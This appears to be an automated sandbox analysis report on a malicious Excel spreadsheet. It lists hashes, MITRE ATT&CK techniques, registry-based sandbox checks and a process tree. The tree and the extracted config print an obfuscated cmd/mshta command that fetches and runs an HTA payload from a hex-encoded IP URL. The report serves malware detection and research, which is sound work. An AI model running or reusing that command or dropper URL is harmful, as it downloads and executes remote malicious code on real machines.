279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257

General

Target

279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls
Size

142KB
MD5

479ce294962829b0994744dd0a5bff14
SHA1

ac79edae6353fb779e9dfad843193915e4667ce2
SHA256

279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257
SHA512

1ddd7e68fa08763d43b10ce5211034049b22f9d8bb30b600f85b3279f4394890aaba2899623d7404f5975012d5494f83ee0357451393d3819e48e381afa7612d

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2820	948	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

49 1736 mshta.exe

flow	pid	process
49	1736	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

948 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE
948	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 948 wrote to memory of 3184	948	EXCEL.EXE	splwow64.exe
PID 948 wrote to memory of 3184	948	EXCEL.EXE	splwow64.exe
PID 948 wrote to memory of 2820	948	EXCEL.EXE	cmd.exe
PID 948 wrote to memory of 2820	948	EXCEL.EXE	cmd.exe
PID 2820 wrote to memory of 1736	2820	cmd.exe	mshta.exe
PID 2820 wrote to memory of 1736	2820	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3184

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
PID:1736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/948-115-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-116-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-117-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-118-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-119-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-128-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp

Filesize
64KB

Download
memory/948-129-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp

Filesize
64KB

Download
memory/948-422-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-423-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-424-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/948-425-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads